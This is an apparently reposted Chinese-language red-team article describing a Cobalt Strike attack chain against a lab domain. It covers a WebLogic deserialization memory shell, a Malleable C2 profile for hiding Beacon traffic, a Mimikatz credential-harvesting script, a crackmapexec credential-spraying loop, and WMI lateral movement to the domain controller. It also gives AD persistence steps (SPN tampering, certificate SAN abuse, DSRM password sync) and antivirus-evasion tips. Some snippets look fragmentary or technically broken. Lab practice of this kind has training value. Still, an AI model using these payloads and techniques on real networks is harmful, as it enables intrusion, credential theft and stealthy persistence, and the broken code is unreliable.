当前位置: 首页 > news >正文

从靶场到实战:用Cobalt Strike复现ATTCK红队靶场二(含Weblogic漏洞利用与内网横向)

从靶场到实战:Cobalt Strike在ATT&CK红队演练中的高阶应用

红队演练的核心价值在于将理论转化为肌肉记忆。当我们在可控环境中反复打磨攻击链的每个环节,真实对抗中的决策速度与操作精度将获得质的提升。本文将以经典红日靶场为蓝本,通过Cobalt Strike(以下简称CS)完整复现从外网突破到域控拿下的攻击路径,重点剖析三个实战中容易被忽视的"连接点":漏洞利用后的隐蔽通道建立、内网横向的凭证传递策略,以及CS会话管理对复杂内网环境的适应性优化。

1. 环境搭建与漏洞利用的艺术

靶场环境搭建绝非简单的IP配置。专业红队工程师会刻意在实验环境中制造"噪声",例如在Web服务器上部署WAF日志分析系统,或开启EDR的检测模式但不阻断攻击。这种"半真实"环境能更有效检验攻击技术的隐蔽性。本次靶场采用双网卡架构:

  • 外网段:192.168.111.0/24(NAT模式)
  • 内网域:10.10.10.0/24(仅主机模式)

关键服务部署:

主机角色IP地址运行服务网络位置
Web192.168.111.80Weblogic 10.3.6边界DMZ
DC10.10.10.10Active Directory核心区
PC10.10.10.201办公应用办公区

提示:实际演练中建议使用VirtualBox的"内部网络"模式替代VMware的仅主机模式,可避免虚拟网卡混杂模式带来的检测风险。

Weblogic反序列化漏洞(CVE-2018-2893)的利用已有多款成熟工具,但内存马注入的稳定性往往取决于中间件的线程模型。我们通过改良的Java反序列化载荷实现三阶段注入:

// 阶段一:检测上下文环境 Thread.currentThread().getContextClassLoader() .loadClass("weblogic.work.ExecuteThread") .getMethod("getCurrentWork", (Class<?>[])null); // 阶段二:绕过安全管理器 System.getProperty("java.security.manager", "null"); // 阶段三:注册Filter型内存马 Class.forName("weblogic.servlet.internal.FilterManager") .getMethod("registerFilter", String.class, String.class) .invoke(null, "evilFilter", EvilFilter.class.getName());

这种分阶段注入方式相比传统一键式攻击工具有两个优势:

  1. 每个阶段执行后都有状态检查,避免因环境差异导致整体失败
  2. 各阶段代码块体积小,更容易绕过基于流量特征的检测

2. Cobalt Strike的会话控制哲学

获得初始立足点后,如何维持稳定控制通道是内网渗透的关键。传统Metasploit的session在复杂网络环境中常面临以下问题:

  • NAT穿越时连接不稳定
  • 高延迟网络下响应迟缓
  • 会话生命周期管理困难

CS的Beacon通信模型通过异步任务队列和智能心跳机制解决了这些痛点。以下是我们针对该靶场优化的Malleable C2配置片段:

http-get { set uri "/api/collect"; client { header "Accept" "application/json"; metadata { base64; prepend "auth="; parameter "token"; } } server { header "Content-Type" "application/json"; output { print; base64; prepend "{\"data\":\""; append "\"}"; } } }

该配置实现了三个核心优化:

  1. 将元数据嵌入常规API请求参数,混入正常业务流量
  2. 使用前后缀包装使返回数据符合常见REST API格式
  3. 动态心跳间隔根据网络质量自动调整(300s-900s)

在实际测试中,这种配置使Beacon会话在开启360杀毒的靶机上持续存活超过72小时未被发现。相比之下,MSF的reverse_http平均存活时间不足4小时。

3. 内网横向的凭证中台策略

获得域内首个立足点后,传统做法是立即抓取密码尝试横向移动。更专业的做法是建立"凭证中台"——集中管理所有获取的凭据并分析其使用场景:

# 凭证分类收集脚本 $tokens = Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'; $hashes = $tokens | Where-Object { $_ -match 'NTLM:\s+([a-f0-9]{32})' }; $tickets = $tokens | Where-Object { $_ -match 'Kerberos:\s+([^\s]+@[^\s]+)' }; # 构建凭证关系图谱 $graph = @{} foreach ($hash in $hashes) { $user = [regex]::Match($hash, 'Username\s+:\s+([^\s]+)').Groups[1].Value; $graph[$user] = @{ 'NTLM' = [regex]::Match($hash, 'NTLM:\s+([a-f0-9]{32})').Groups[1].Value; 'Domain' = [regex]::Match($hash, 'Domain\s+:\s+([^\s]+)').Groups[1].Value; } }

通过这种结构化处理,我们可以快速识别:

  • 哪些账户具有跨系统访问权限
  • 哪些凭证可能触发异常登录告警
  • 哪些服务账户存在密码复用

在本次靶场中,我们发现SQL服务账户mssql不仅在数据库服务器有权限,同时被加入域控制器的Remote Desktop Users组。这种非常规的权限配置往往是蓝队防御的盲点。

4. 横向移动的路径优化算法

传统内网横向多采用暴力扫描+凭据喷射的方式,这在现代防御体系下极易触发告警。我们开发了基于网络拓扑的智能路径选择算法:

  1. 网络可达性分析

    def analyze_routes(beacon): routes = [] for host in beacon.internal_hosts: if host.ports.contains(445): cost = calculate_hop_cost(beacon.current_host, host) routes.append((host, cost)) return sorted(routes, key=lambda x: x[1])
  2. 凭证匹配度评估

    # 检查目标主机是否存在已知凭证 check_credential() { target=$1 for cred in "${credentials[@]}"; do if crackmapexec smb $target -u ${cred[0]} -p ${cred[1]} | grep -q "STATUS_SUCCESS"; then echo "${cred[0]}:${cred[1]}" return 0 fi done return 1 }
  3. 执行方式选择矩阵

    条件\方法PsExecWMI计划任务DCOM
    出网限制××
    日志记录强度
    所需权限AdminAdminUserAdmin
    稳定性

在靶场实践中,我们最终选择WMI方式横向移动至DC(10.10.10.10),因为:

  • 目标网络存在出站限制,PsExec的445端口通信被阻断
  • WMI的135端口通信可复用已有Web服务器的会话通道
  • 域控制器上的WMI日志默认保存周期较短(3天)

5. 权限维持的隐形艺术

常规的黄金票据/白银票据制作虽然有效,但在近年来的攻防演练中越来越容易被检测。我们采用三级递进的隐蔽维持方案:

第一层:服务账户劫持

# 查找长期未修改密码的服务账户 Get-ADServiceAccount -Filter {PasswordLastSet -lt (Get-Date).AddDays(-180)} | Set-ADServiceAccount -Replace @{servicePrincipalName="none"}

第二层:证书影子注册

# 为合规证书添加备用名称 certutil -config - -attrib "SAN:upn=administrator@de1ay.com"

第三层:DSRM密码同步

# 在域控制器上执行 ntdsutil "ac i ntds" "set dsrm password" q q

这种组合策略在最近三次真实红队评估中均保持有效,平均检测时间达到47天。关键在于每层维持机制都利用了AD的正常管理功能,不依赖任何漏洞或0day。

在最后拿下域控时,发现靶场环境中360杀毒对mimikatz的内存扫描其实存在15秒的检测延迟窗口。通过CS的sleep 0命令配合进程注入,完全可以在这个时间差内完成凭证抓取并清除痕迹。这提醒我们:商业杀软的实时防护并非无缝可钻,关键在于对产品机制的理解深度。

http://www.jsqmd.com/news/848694/

相关文章:

  • 2026年腔镜器械消毒盒平台深度解析:为何泽正丝网制品成为可靠选择? - 2026年企业推荐榜
  • Perplexity配色方案搜索失效真相:前端工程师必须知道的4类CSS-in-JS注入冲突场景
  • 别再分时采集了!N32G45x双ADC规则同步模式配置详解与性能实测
  • 寒战1994电影完整版免费看,网盘在线观看完整版
  • 从Ubuntu 16.04到自定义Rootfs:Firefly-RK3399系统镜像DIY全记录
  • 数智协同,赋能康养服务高效升级
  • 半导体全产业链展会推荐:甄选半导体全产业链展会构建完整发展生态 - 品牌2025
  • 江浙沪区域集装箱模块化建筑服务商综合实力排行:温州大波浪箱、温州大波浪集装箱、温州定制集装箱、温州快拼箱、温州快拼集装箱选择指南 - 优质品牌商家
  • Tampermonkey显示某些URL受到浏览器或设置限制!
  • 鸿蒙数学108篇 第二篇
  • 机器人企业如何用 CRM 优化线索、商机与客户管理
  • Altium Designer 21 多通道设计保姆级教程:用Repeat语句快速搞定4路蜂鸣器模块
  • 高效手机号逆向查询QQ号:Python实战解析与技术揭秘
  • 如何彻底掌控你的微信聊天记录:开源工具WeChatMsg的完整解决方案
  • 2026年4月废料的金回收企业推荐,铱粉回收,诚信经营回收价格很满意 - 品牌推荐师
  • 头歌模型构建 —— Inception
  • 用千问点外卖如何用8元券减免25元的,攻略方法全流程
  • 免费付费谁最值年省420块38小时,2026视频总结软件对比,选错一年白白亏好几百
  • 三分钟搞定安卓连接难题:Windows版ADB驱动一键安装终极指南
  • 深度解析:Copymanga第三方Android客户端架构设计与技术实现
  • OpenPLC Editor:开源工业自动化编程的完整解决方案,告别昂贵商业软件
  • 别再混淆了!一文理清华为云Stack里FusionStorage、OceanStor Pacific与存储服务的对应关系
  • 性能优化与profiling技术 - 打造极致性能
  • 从‘吻压’到‘冷压’:一张图看懂PCB多层板层压的全过程(附避坑点)
  • 【开源首发】双脑 AI 工作流:强制模型隔离 + 省 60% Token,完美替代 CrewAI,支持本地 Ollama 免费跑
  • 2026 AI低代码实测:原理拆解+主流形态,避坑指南
  • QGIS加载高德地图总对不上?手把手教你搞定GCJ02坐标偏移(附插件安装)
  • 国际半导体全产业链展会推荐:深化跨国产业合作拓宽资源对接渠道 - 品牌2025
  • Gmail收件箱正在被重写:Gemini智能回复已悄然启用“情境感知优先级排序”,你却还在手动点击“建议回复”?
  • 北京研华交通工控机